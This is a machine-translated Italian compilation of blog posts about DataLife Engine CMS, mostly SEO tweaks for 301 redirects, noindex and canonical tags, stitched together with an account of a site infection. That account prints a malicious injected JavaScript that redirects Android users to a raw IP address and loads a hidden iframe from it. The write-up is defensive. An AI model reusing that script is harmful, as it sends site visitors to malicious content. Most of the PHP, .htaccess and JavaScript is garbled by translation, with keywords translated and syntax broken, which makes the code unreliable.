Ho un sito sul motore del motore Datalife e ho deciso di cambiare il suo profilo. Non drammaticamente, solo un po 'stretto il tema. Per fare ciò, avevo bisogno di rimuovere dal sito più della metà del contenuto che non si riferisce a questo argomento. Ha iniziato a pulire le pagine, sostituendo il loro contenuto al nuovo contenuto. Ma ha ancora dovuto cambiare la struttura dell'URL e, a causa di ciò, la partecipazione è apparsa nel pannello Webmaster, è apparsa la posizione nella ricerca di argomenti stretti. Inoltre, ho notato che ci sono collegamenti da forum e servizi come Otvet.mail.ru su pagine cancellate. Quando è stato dato il passaggio da queste pagine Errore 404. Oltre a questo fatto tecnico, sono seguiti altri fattori negativi - il peso di riferimento è perso, gli indicatori comportamentali sono ridotti e, penso, un altro numero di conseguenze negative.
Ho deciso di risolverlo dal metodo brutale - per tutte le pagine remote, non darò un errore 404, ma per fare 301 reindirizzamento alla cosa principale. In CMS DLE, per implementare questo hack, è necessario trovare il codice nel file / motore / moduli / mostra. Full.php Trova codice:
| ENESIF (! $ News_found) (@ header ("http / 1.0 404 non trovato"); msgbox ($ lang ["all_err_1"], $ lang ["news_err_12"]);) |
elseif (! $ News_found) (@header ("http / 1.0 404 non trovato"); msgbox ($ lang ["all_err_1"], $ lang ["news_err_12"]);)
e sostituirlo
// 301 reindirizzamento a casa, se la notizia non è stata trovata / non esiste, elseif (! $ News_found) (intestazione ("http / 1.0 301 spostata definitivamente"); intestazione ("posizione: ($ config [" http_home_url "]) "); Muori (" reindirizzamento ");) // 301 reindirizzamento a casa, se la notizia non è stata trovata / non esiste
Ora, tutto Quando si contatta il robot di ricerca, verrà assegnato un messaggio che le informazioni di questa pagina vengono trasferite per sempre al peso principale e tutto il peso di riferimento che va a pagine cancellate saranno ridistribuite alla cosa principale.
I visitatori delle pagine remote verranno semplicemente reindirizzarsi a casa e, spero, allora hanno indovinato di usare la ricerca.
Ora descriverò approssimativamente la stessa logica dell'indirizzo, ma non per le notizie, ma per le categorie. Apri il file /ngine/engine.php e cerca il codice:
| se (! $ category_id) $ category_id \u003d "non rilevato"; |
se (! $ category_id) $ category_id \u003d "non rilevato";
che sostituisce su
| se ($ config ["Allow_alt_url"] \u003d\u003d "sì" e! $ category_id e $ view_template! \u003d "rss") (intestazione ( "Http / 1.0 301 spostato in modo permanente"); Intestazione ( "Posizione: ($ Config [" http_home_url "])"); Muori ("reindirizzamento"); ) // risolve un problema con le categorie che non esistono |
// Risolvere un problema con le categorie che se ($ config ["Allow_alt_url"] \u003d\u003d "sì" e! $ category_id e $ view_template! \u003d "Rss") (header (ttp / 1.0 301 muoversi definitivamente "); intestazione ( "Posizione: ($ Config [" http_home_url "])"); die ("reindirizzamento");) // risolve un problema con le categorie che non esistono
Qualunque cosa. Ora lo stesso funzionerà per le categorie DLE remote.
La rete ha già descritto molte situazioni in cui il sito su DLE (Motore di vita dei dati) è stato infettato dal virus e mettere un reindirizzamento a un altro dominio. In questo articolo, sarà di uno di questi hack del sito, tuttavia, è improbabile che le descrizioni di un tipo di infezione siano improbabili - una specie di virus unici, che è stato notato per la prima volta.
Come virus ha colpito il sito
Non è stato possibile ottenere i dati esatti sulla fonte dell'infezione. Secondo i file trovati che sono stati compilati nella cartella di caricamento, nulla di calcestruzzo non può essere scoperto.
Probabilmente, una password è stata rubata dall'hosting o dal sito di amministratore. I conti FTP sul sito non hanno usato.
Reindirizzamento insolito
La prima volta alla presenza del virus è stato detto a Yandex nella barra degli strumenti per i webmaster di domenica del 16 novembre. Sembrava tutto questo modo:
Cerca virus sul sito
Per trovare il virus, è stato utilizzato uno speciale script Ai-bolit.. Poiché la dimensione del sito ha superato 1 Gigabyte, eseguire la scansione di file per i virus direttamente sul server non riuscito (tempo mancato tempo).
Scaricando l'archivio del sito sul disco locale, il test è stato lanciato, i cui risultati sono stati piuttosto sorpresi - non c'era nulla di sospetto nei file, ma il sito è stato ancora ridisegnato al dominio del contenuto osceno, quindi sul carico di software sospettoso .
Quando si entra nel sito da un telefono cellulare che esegue Android OS, gli utenti sono automaticamente spostati in questa pagina:
O tale:
Guardando attraverso ogni file separatamente, per identificare anche la minaccia non funzionava.
Come trovare un reindirizzamento con un'infezione del genere
Completamente per caso nel modello Main.TPL, nella parte inferiore del file è stato. Direttamente nel widget di consulente online conteneva tale codice:
La penultima linea sembrava sospettosa, vale a dire, la biblioteca innocua jQuery.ui.js è stata caricata da un indirizzo incomprensibile prescritto nella forma di un IP.
Attraversando questo indirizzo otteniamo quanto segue:
Se (! GetCookie ("Google__Analytics __")) (VAR Gate \u003d "http://5.61.34.53/jquery/jquery.php"; var oggi \u003d nuova data (), domani \u003d nuova data (); domani.setDate (); Oggi domani.setDate .GetDate () + 1); SetCookie ("Google__Analytics__", 1, domani.togmttstring ()); var og \u003d navigator.useregent.tolowercase (); se (ua.indexof ("Android")\u003e - 1) finestra. Posizione \u003d gate; altrimenti (var el \u003d document.createelement ("Iframe"); document.body.appendchild (EL); el.id \u003d "Iframe"; el.style.width \u003d 0; el.style .Height \u003d 0; el.src \u003d "http://5.61.34.53/2c24";)) Funzione setCookie (nome, valore, scade, percorso, dominio, sicuro) (document.cookie \u003d nome + "\u003d" + fuga (Valore) + ((scade)? "; Scadenza \u003d" + scadenza: "") + ((percorso)? "; Percorso \u003d" + percorso: "") + ((dominio)? "; Dominio \u003d" + dominio? "; Dominio \u003d" : "" + (((Sicuro)? "; Secure": "");) Funzione GetCookie (Nome) (Var Cookie \u003d "" + Document.Cookie; var search \u003d "" + nome + "\u003d"; var setstr \u003d "; NULL; VAR; VAR OFFSET \u003d 0; VAR END \u003d 0; IF (Cookie.Length\u003e 0) (offset \u003d cookie.indexof ); Se (offset! \u003d -1) (offset + \u003d search.length; fine \u003d cookie.indexof (";", offset) se (fine \u003d\u003d -1) (fine \u003d cookie.length;) setstr \u003d unscape (cookie. Sottostringa (offset, fine));)) restituzione (setstr); )
È questa linea con uno script e ha causato reindirizzamento. Rimozione modificando le password sul sito e l'hosting, il problema è scomparso.
Che cosa è esattamente questo virus reindirizzamento da altri tipi di infezione
Cerca per file del sito utilizzando il notepad eval, base64 e altri, inutili. Controlla il sito per antivirus (tutti conosciuti) - è inutile. Anche l'utilizzo dell'utilizzo di AI-BOLIT non risulterà.
Solo in modalità manuale con la visualizzazione indipendente è possibile visualizzare il risultato, poiché il virus non viene caricato dal sito stesso, ma da una fonte esterna. Per evitare un sito di hacking simile, non conservare mai login e password nei browser, renderli multiplode e non utilizzare il nome dell'amministratore Admin. Prenditi cura dei tuoi siti in basso!
Stato dell'argomento: chiuso.
Ciao amici. Finalmente è il momento della terza parte del mio MEGA-manuale di ottimizzare DLE.
Solo ora con horror si rese conto che la precedente seconda parte della leadership è uscita più di sei mesi fa!
Secondo la tradizione attuale, parleremo e specificamente in questa parte parlerò di alcune caratteristiche del motore e dei piccoli, ma chips molto utili e kakiche non è adatto al formato nelle parti precedenti.
Questa parte è anche associata agli indirizzi delle pagine, ma in contrasto con la seconda parte, dove abbiamo combattuto con i doppi e ne abbiamo escluso il loro aspetto, in questa parte guarderemo come sbarazzarsi di pagine inesistenti che appaiono come un risultato di rimozione o errore nell'indirizzo.
Post Aggiornato il 6 maggio 2014:
Modifiche aggiornate effettuate nel motore, aggiunta supporto per nuove versioni del motore.
Rilevante per le seguenti versioni di DLE: 7.x, 8.x, 9.x, 10.x!
Altre parti del manuale SEO:
Parte 1, Titolo Titolo Ottimizzazione -
Parte 2, combattendo la duplicazione dei contenuti -
Parte 4, Correzione per le versioni di DLE 9.3, 9.4, 9.5, 9.6 -
Reindirizzamento con pagine di paginazione inesistenti sulla destra ed esistenti
Il chip è stato inventato letteralmente oggi quando ho trovato un sacco di 404 errori su uno dei siti nel pannello dei webmaster.
Prendi una situazione completamente reale - per qualche motivo hai deciso di modificare il numero di notizie visualizzate sulla pagina principale o sulle pagine di categoria. Come ho capitato: la riprogettazione dell'utente; La struttura della pagina è completamente cambiata; È stato deciso di ritirare più brevi annunci di notizie su ogni pagina (era 7, è diventato 10). Il risultato è stato il seguente - molte pagine con 404 errori sono apparsi nel pannello dei webmaster. Semplice aritmetica, era 1000 notizie sul sito, su ciascuna pagina 7 Annunci sono stati visualizzati su ciascuna pagina, quindi, solo sulla cosa principale otteniamo 1000/7 \u003d 142 pagine di paginazione. Dopo che le pagine cambiano, erano esattamente 100. Di conseguenza, 42 pagine sono semplicemente scomparse. E se prendiamo più categorie, le pagine non esistenti sono già centinaia e due. È brutto, brutto e non funziona affatto.
Apri il file /nicine/modules/show.short.php e in basso trova:
| } ?> |
SOPRA inserisci:
| $ ALL_PAGES_COUNT \u003d @ CEIL ($ count_all / $ config ["news_number"]); Se ($ CStart\u003e $ ALL_PAGES_COUNT) (se ($ ALL_PAGES_COUNT\u003e 1) (intestazione (); intestazione ("Posizione:". $ url_page. "/ pagina /". $ ALL_PAGES_COUNT. "/"); Die ();) Altrimenti (intestazione ( "Http / 1.1 301 spostato in modo permanente"); Intestazione ("Posizione:". $ Url_page. "/"); Muori (); )) // reindirizza per l'ultima pagina, se l'URL indica una pagina più del più esistente |
// reindirizzamento sull'ultima pagina, se l'URL indica una pagina più del massimo $ $ ALL_PAGES_COUNT \u003d @Ceil ($ count_all / $ config ["news_number"]); Se ($ CStart\u003e $ ALL_PAGES_COUNT) (se ($ ALL_PAGES_COUNT\u003e 1) (intestazione (header ("http / 1.1 301 spostata definitivamente"); intestazione ("posizione:". $ url_page. "/ pagina /". $ ALL_PAGES_COUNT. "/ "); Die ();) Altro (intestazione (" HTTP / 1.1 301 spostata definitivamente "); intestazione (" Posizione: ". $ url_page." / "); Die ();)) // reindirizzamento per l'ultima pagina , Se l'URL indica una pagina più del più esistente
Spiegherò un po ': C'è un assegno sulla condizione - se il numero della pagina corrente è superiore al numero massimo di pagine sul sito (o nella categoria), quindi un reindirizzamento per l'ultima pagina. Se viene richiesta la pagina numero 2 e le pagine sono solo una, quindi un reindirizzamento della pagina Grim (o la pagina principale della categoria si verifica.
Un esempio sulle dita, qualcuno richiede il sito della pagina del sito.RU/page/435/, e su questo sito solo 268 pagine, pertanto, il reindirizzamento al sito.ru/page/268/ avverrà.
Reindirizzamento con pagine inesistenti dei commenti di paginazione a destra
Rilevanza: solo versioni di DLE 8.x, 9.x. Per DLE 10.x non è rilevante, perché Già implementato nel motore stesso.
Una situazione simile con la paginazione nei commenti. Potrebbe esserci una tale situazione che, ad esempio, ti è stato chiesto nei commenti, i motori di ricerca sono stati indicizzati da tutte le pagine dei commenti, e poi l'hai notato e ha cancellato tutti i commenti. Ma le pagine che indicizzate il motore di ricerca rimangono, rimarranno ancora, non solo nessun commento verrà visualizzato su di loro, e ci sarà un doppio doppio della principale pagina di notizie. Ed è triste, devi correggere!
Apri il file /nicine/classes/comments.class.php e in basso trova:
| } } ?> |
SOPRA inserisci:
// reindirizzamento sull'ultima pagina dei commenti se l'URL indica più del massimo esistente se ($ questo-\u003e cstart\u003e $ enpage_count) (http / 1.1 301 spostato in modo permanente); intestazione ("posizione:". $ URL); Die ();) // reindirizzamento sull'ultima pagina dei commenti se l'URL indica una pagina più del più esistente
Bene, ora tutto è in ordine, puoi controllare.
Reindirizzamento con collegamenti con simboli non necessari o terminazione impropria sugli indirizzi giusti
Pertinenza: tutte le versioni di DLE. Controllato da 7.x, 8.x, 9.x, 10.x.
In precedenza, c'era una soluzione molto difficile che dipendeva dalla versione del motore. Ma dal momento di scrivere questo post, ho abbastanza delle mie capacità per creare una soluzione universale per tutte le versioni di DLE e in generale completamente per qualsiasi motore o qualsiasi sito!
Aperto.htaccess, che risiede nella radice e trova:
Rewritebase / rewritecond% (requritecond% (request_filename)! -D rewritecond% (richiesta_uri) ^ (. *) \\. HTML (. +) Rewritecond% (read_uri) ^ (. *) \\. Htm $ rewritecond% (read_uri) ^ (. *) \\. $ Rewritecond% (request_uri) ^ (. *) \\. H $ rewritecond% (read_uri) ^ (. *) \\. $ Rewriterule ^ (. *) \\. (. *) $ 1. html.
Indipendentemente dal tipo selezionato di CNC, quando si passa a qualsiasi "curva", il visitatore andrà lì, dove doveva ottenere.
Reindirizzamento da sezioni o categorie che non esistono più alla pagina principale
Pertinenza: tutte le versioni di DLE. Controllato da 7.x, 8.x, 9.x, 10.x.
Un esempio dalla vita: hai deciso di cambiare la struttura del sito o semplicemente cancellato alcune categorie inutilePertanto, queste pagine cesseranno di esistere e collegarli a loro possono rimanere da qualche parte. Ad esempio, su Emofans ho avuto una volta blog per gli utenti disponibili sul sito.ru/blog/, e sono stati suddivisi in utenti, come questo (/ blog / user1 /, sito.ru/blog / user2 / ecc. Per molti anni, quanti anni ho demolito questi blog come inutili e collegarli a loro ed errori nel Panel Webmaster Live.
Questo editing ti consentirà di evitare la comparsa di indirizzi di pagine di notizie complete senza espansione alla fine oa tutti gli indirizzi di notizie complete quando non c'è nessun pezzo di URL alla fine. Pertanto, in combinazione con il paragrafo precedente, tali modifiche aiuteranno il 99% evitare la comparsa di indirizzi errati e indesiderati.
Apri il file /nicine/engine.php e trova:
| se (! $ category_id) $ category_id \u003d "non rilevato"; |
se (! $ category_id) $ category_id \u003d "non rilevato";
Sostituire sul:
// risolvere un problema con le categorie che se (! $ Category_id e $ view_template! \u003d "Rss") (intestazione ("http / 1.0 301 spostata definitivamente"); intestazione ("posizione: ($ config [" http_home_url "])" ); Muori ("reindirizzamento");) // risolvendo un problema con le categorie che non esistono
Reindirizzamento per le pubblicazioni che mancano ID, alla pagina principale
Pertinenza: tutte le versioni di DLE. Controllato da 7.x, 8.x, 9.x, 10.x.
Un'altra vera storia presa dai miei siti. Ci sono molte pagine nel pannello Webmaster con un errore 404 di questo tipo di tipo.RU/category/subcat/page-name.html, e secondo le regole dovrebbero essere così site.ru/categor/subcat/123-page_name. html. Ad essere onesti, non capisco ancora come e perché notizie d'identità e che hanno fatto riferimento a pubblicazioni in questo modo. Nessun modulo e hack che vengono rimossi dall'URL del suo identificatore che non ho mai usato, quindi i peccato sugli utenti che "storti" hanno messo i collegamenti nei loro corpi al mio sito. Bene, ok, non è più importante, ma è importante affrontare questo problema!
Solo per le versioni di DLE 10.x (nonché per 9,5, 9,6, 9,7 e 9.8)
La nuova versione del codice è al di là del fatto che reindirizzo gli indirizzi "Problemi" delle pagine di notizie complete, ma reindirizza anche le pagine statiche principali e inesistenti o remote. Questo è collegato con la logica modificata nel motore. Da un lato, probabilmente, è buono, perché in una figli, due problemi risolvono. D'altra parte, inizialmente il motore fornisce il consueto errore 404 - se sei soddisfatto di questo stato di cose, quindi non effettuare modifiche descritte nel presente paragrafo.
Apri il file /gine/modules/static.php e trova alla fine:
| @ Intestazione ("http / 1.0 404 non trovato"); $ lang ["static_page_err"] \u003d str_replace ("(pagina)", $ name. ".html", $ lang ["static_page_err"]); Msgbox ($ lang ["all_err_1"], $ lang ["static_page_err"]); |
@header ("http / 1.0 404 non trovato"); $ lang ["static_page_err"] \u003d str_replace ("(pagina)", $ name. ". html", $ lang ["static_page_err"]); Msgbox ($ lang ["all_err_1"], $ lang ["static_page_err"]);
Sostituire sul:
// 301 reindirizzamento a casa con le pagine di notizie indirizzi in cui l'ID è sparita, così come l'intestazione delle pagine statiche inesistente ("HTTP / 1.0 301 muoversi in modo permanente"); Header ("Ubicazione: ($ Config [" http_home_url "])"); Muori ("reindirizzamento"); // 301 reindirizzamento a casa dalle pagine di notizie indirizzi in cui l'ID è sparita, oltre a pagine statiche inesistenti
Vecchia decisione. Solo per le versioni di DLE 7.x, 8.x, 9.0, 9.2 e 9.3
Tutti gli indirizzi contenenti alla fine. HTML e non contengono ID saranno ridistribuiti alla pagina principale. Le pagine statiche esistenti e corrette, anche se non hanno anche l'ID nell'URL, non verranno regnate, ma funzioneranno come prima.
Apri tutto il file /gine/gine.php e trova:
| se ($ abbonamento \u003d\u003d "") $ Subaction \u003d "Showfull"; ) |
se ($ abbonamento \u003d\u003d "") $ Subaction \u003d "Showfull"; )
SOTTO inserisci:
| Se (($ Config ["Allow_alt_url"] \u003d\u003d "sì") && (strpos ($ _server ["request_uri"], ".html")! \u003d\u003d false) && ($ dle_module \u003d\u003d "Main")) ( Intestazione ( "Http / 1.0 301 spostato in modo permanente"); Intestazione ( "Posizione: ($ Config [" http_home_url "])"); Muori ("reindirizzamento"); ) // 301 reindirizzamento a casa con gli indirizzi delle pagine di notizie in cui l'ID è andato |
// 301 reindirizzamento a casa dalle pagine di notizie indirizzi in cui ID se ((Config ["Allow_alt_url"] \u003d\u003d "sì") && (Strpos ($ _ server ["request_uri"], ".html")! \u003d\u003d False) && ($ dle_module \u003d\u003d "main")) (intestazione (header ("http / 1.0 301 spostata in modo permanente"); intestazione ("posizione: ($ config [" http_home_url "])"); die ("reindirizzamento") / / / 301 reindirizzamento a casa dagli indirizzi delle pagine di notizie in cui l'ID è andato
Reindirizzamento per notizie remote o inesistenti al principale
Pertinenza: tutte le versioni di DLE. Controllato da 7.x, 8.x, 9.x, 10.x.
Bene, c'è una situazione standard e può incontrarsi su qualsiasi sito. Hai cancellato qualche tipo di notizia e, naturalmente, verranno emessi 404 errori. Se non si adatta a te, vale a dire, che sono emessi 404 errori, quindi è possibile eseguire, ad esempio, il reindirizzamento 301 alla pagina principale del sito, che certamente esiste;)
Apri il file /gine/modules/show.full.php e trova:
| ENESIF (! $ News_found) (@ header ("http / 1.0 404 non trovato"); msgbox ($ lang ["all_err_1"], $ lang ["news_err_12"]);) |
elseif (! $ News_found) (@header ("http / 1.0 404 non trovato"); msgbox ($ lang ["all_err_1"], $ lang ["news_err_12"]);)
Sostituire sul:
// 301 reindirizzamento a casa, se la notizia non è stata trovata / non esiste, elseif (! $ News_found) (intestazione ("http / 1.0 301 spostata definitivamente"); intestazione ("posizione: ($ config [" http_home_url "]) "); Muori (" reindirizzamento ");) // 301 reindirizzamento a casa, se la notizia non è stata trovata / non esiste
Ora, quando si passa in una pubblicazione inesistente o remota, verrà effettuato un reindirizzamento della pagina principale del sito.
In generale, ragazzi, ho un post molto grande separato su.
Ti consiglio di familiarizzare con esso, indipendentemente dal fatto che tu lavori solo con DLE o altri CMS.
Proibire l'indicizzazione delle sezioni del sito utilizzando i robot di meta tag
Pertinenza: tutte le versioni di DLE. Controllato da 7.x, 8.x, 9.x, 10.x.
Quindi, ricorda che di recente ho pubblicato un post su dove lo ha detto chiudere le pagine di indicizzazione usando robots.txt Non funzionare, ma per chiudere con Opzione corretta. Consiglio vivamente di esplorare questo post.
Se non ti senti fiducia, consiglio vivamente di usare! Con il modulo, non si fa male in alcun modo in alcun modo, ma non è necessario effettuare la modifica dei dati dopo ogni aggiornamento del motore.
Apriamo il file già amato /engine/engine.php, troviamo una stringa inutile ed elimina:
se ($ Config ["Allow_RSS"]) $ metatags. \u003d<<
SOPRA inserisci:
| se ($ Abbonamento \u003d\u003d "UserInfo" o $ Subaction \u003d\u003d "Allnews" o $ Subaction \u003d\u003d "Newposts" o $ do \u003d\u003d "statisti" o $ do \u003d\u003d "addnews" o $ do \u003d\u003d "Registrati" o $ DO \u003d\u003d "Preferiti" o $ do \u003d\u003d "PM" o $ do \u003d\u003d "PM" o $ do \u003d\u003d "feedback" o $ do \u003d\u003d "lemt" o $ do \u003d\u003d "LostPassword" o $ \u003d\u003d "Cerca" o $ do \u003d\u003d "lastnews" o $ do \u003d\u003d "Alltags" o $ do \u003d\u003d "tag" o $ dle_module \u003d\u003d "data") $ metatags. \u003d << Html.; |
se ($ Abbonamento \u003d\u003d "UserInfo" o $ Subaction \u003d\u003d "Allnews" o $ Subaction \u003d\u003d "Newposts" o $ do \u003d\u003d "statisti" o $ do \u003d\u003d "addnews" o $ do \u003d\u003d "Registrati" o $ DO \u003d\u003d "Preferiti" o $ do \u003d\u003d "PM" o $ do \u003d\u003d "PM" o $ do \u003d\u003d "feedback" o $ do \u003d\u003d "lemt" o $ do \u003d\u003d "LostPassword" o $ \u003d\u003d "Cerca" o $ do \u003d\u003d "lastnews" o $ do \u003d\u003d "Alltags" o $ do \u003d\u003d "tag" o $ dle_module \u003d\u003d "data") $ metatags. \u003d<<
HTML;Se si desidera chiudere da indicizzare la pagina di paginazione, come sito.ru/page/x/ o site.ru/category/page/x/, quindi è necessario aggiungere una riga:
| (INTVAL ($ _GET ["CSTART"])\u003e 1) |
(INTVAL ($ _ Ottenere ["Cstart"])\u003e 1)
Di conseguenza, il codice sopra è convertito a questo:
| Se ($ Abbonamento \u003d\u003d "UserINFO" o $ Subaction \u003d\u003d "Allnews" o ... $ Dle_module \u003d\u003d "Data" o (INTVAL ($ _GET ["CSTART"])\u003e 1)) $ Metatags. \u003d << Html.; |
se ($ Abbonamento \u003d\u003d "UserInfo" o $ Subaction \u003d\u003d "Allnews" o ... $ Dle_module \u003d\u003d "Data" o (INTVAL ($ _ Ottenere ["Cstart"])\u003e 1)) $ Metatags. \u003d<<
HTML;Ora spiegherò cosa significa ognuno degli articoli delle condizioni IF, e ho preparato un segno meraviglioso che ti descrive per te.
| Modulo | Descrizione | ESEMPIO URL. |
|---|---|---|
| userINFO. | Visualizzazione del profilo dell'utente. | sito.ru/user/user_name/ |
| allnews. | Visualizzazione di una specifica notizia degli utenti. | sito.ru/user/user_name/news/ |
| newposts. | Guardare nuovi prodotti, individualmente per ogni utente, disponibile solo per registrarsi, gli ospiti mostrano un errore. | sito.ru/newsposts/ |
| statistiche. | Pagina delle statistiche del sito e gli utenti TOP10. | sito.ru/statistics.html. |
| addnews. | Aggiungi pagina di notizie sul sito. | sito.ru/addnews.html. |
| registrati | Nuova pagina del modulo di registrazione dell'utente. | sito.ru/index.php?do\u003dRegister. |
| preferiti. | Guarda i tuoi preferiti, individualmente per ogni utente, è disponibile solo per registrarsi, gli ospiti vengono visualizzati un errore. | sito.ru/favorites/ |
| regole. | Pagina delle regole del sito, che vengono visualizzate prima della registrazione, che esistono come una pagina separata. | sito.ru/rules.html. |
| pM. | Visualizza i messaggi personali da parte dell'utente o del modulo di invio di un messaggio privato a qualsiasi sito utente. | sito.ru/index.php?do\u003dpm. |
| risposta | Pagina di feedback. | sito.ru/feedback.html. |
| permanente | Visualizza tutti i commenti da pubblicare sul sito in ordine cronologico inversa. | sito.ru/index.php?do\u003dlastComments. |
| pASSWORD DIMENTICATA. | Password Recovery Page. | sito.ru/index.php?do\u003dlostpassword. |
| ricerca. | Sezione di ricerca del sito. | sito.ru/index.php?do\u003dSearch. |
| ultime novità. | Visualizza tutte le ultime notizie Notizie. Copia accurata della pagina principale del sito e tutte le pagine di paginazione. | sito.ru/lastnews/ |
| alltags. | Visualizza la pagina di tutti i tag del sito. | sito.ru/tags/ |
| tags. | Visualizza le pubblicazioni con un tag specifico. | sito.ru/tags/tagroname/ |
| data. | Archivio del sito. Elenco di pubblicazioni per un certo anno o mese o giorno. | sito.ru/2007/ o sito.ru/2007/06/ o siti.ru/2007/06/22/ |
* Momento più importante - Quando si chiude dall'indicizzazione della pagina, il metodo descritto, è necessario rimuovere le regole di proibizione nei robot.txt per pagine e partizioni che abbiamo chiuso con l'aiuto del meta-tag. Altrimenti, non sarà il senso.
A propri discrezione, è possibile rimuovere alcune parti dal codice mostrato da me, le sezioni specificamente per il tuo sito non sono richieste. Così che, fate attenzione.
Aggiungi A REL \u003d tag "Canonical" per le pagine di visualizzazione delle notizie complete
Pertinenza: tutte le versioni di DLE. Controllato da 7.x, 8.x, 9.x, 10.x.
Ricordo che qualcuno nei commenti di una delle parti precedenti richieste di raccontare come visualizzare il tag Rel \u003d "Canonical" in pubblicazioni sul sitoQuindi, chi non ha visto il mio commento con la descrizione di questo metodo, continua a leggere.
Apri il file /nicine/modules/show.full.php e ...
per le versioni di DLE 7.x, 8.x, 9.0, 9.2 e 9.3 Troviamo:
| ) Altrimenti ($ full_link \u003d $ config ["http_home_url"]. "Index.php? Newsid \u003d". $ Riga ["id]; $ print_link \u003d $ config [" http_home_url "]." Engine / print.php? Newsid \u003d ". $ riga [" ID "]; $ short_link \u003d" ";) |
) Altrimenti ($ full_link \u003d $ config ["http_home_url"]. "Index.php? Newsid \u003d". $ Riga ["id]; $ print_link \u003d $ config [" http_home_url "]." Engine / print.php? Newsid \u003d ". $ riga [" ID "]; $ short_link \u003d" ";)
per le versioni di DLE 10.x (oltre a 9,5, 9,6, 9,7 e 9.8) che troviamo:
| ) Altrimenti ($ full_link \u003d $ config ["http_home_url"]. "Index.php? Newsid \u003d". $ Riga ["id]; $ print_link \u003d $ config [" http_home_url "]." Engine / print.php? Newsid \u003d ". $ riga [" id "]; $ short_link \u003d" "; $ link_page \u003d" "; $ news_name \u003d" ";) |
) Altrimenti ($ full_link \u003d $ config ["http_home_url"]. "Index.php? Newsid \u003d". $ Riga ["id]; $ print_link \u003d $ config [" http_home_url "]." Engine / print.php? Newsid \u003d ". $ riga [" id "]; $ short_link \u003d" "; $ link_page \u003d" "; $ news_name \u003d" ";)
SOTTO inserisci)
se ($ full_canonical) ($ metatags. \u003d<<
Come era, tutto;) che ha bisogno, utilizzare sulla salute.
Qualcosa che probabilmente ho dimenticato di descrivere in questo post, dal momento che le informazioni descritte qui sono state raccolte per molto tempo nella mia testa, e non registrate nel notebook. Ma se ricordi qualcosa o trova errori insoliti sul tuo sito, assicurati di scrivere nei commenti, penserò a una soluzione al tuo problema e aggiungerlo al post.
Grazie per la tua attenzione, amici, rimani in contatto e iscriviti a Blog News.
PS Non sono sicuro che se la prossima parte della leadership sarà, poiché al momento non c'è nulla da scrivere in esso, tutto ciò che potrebbe essere utile è già stato descritto in tre parti esistenti. Ma non sai mai ... tutto dipende da te e alle tue domande e suggerimenti!
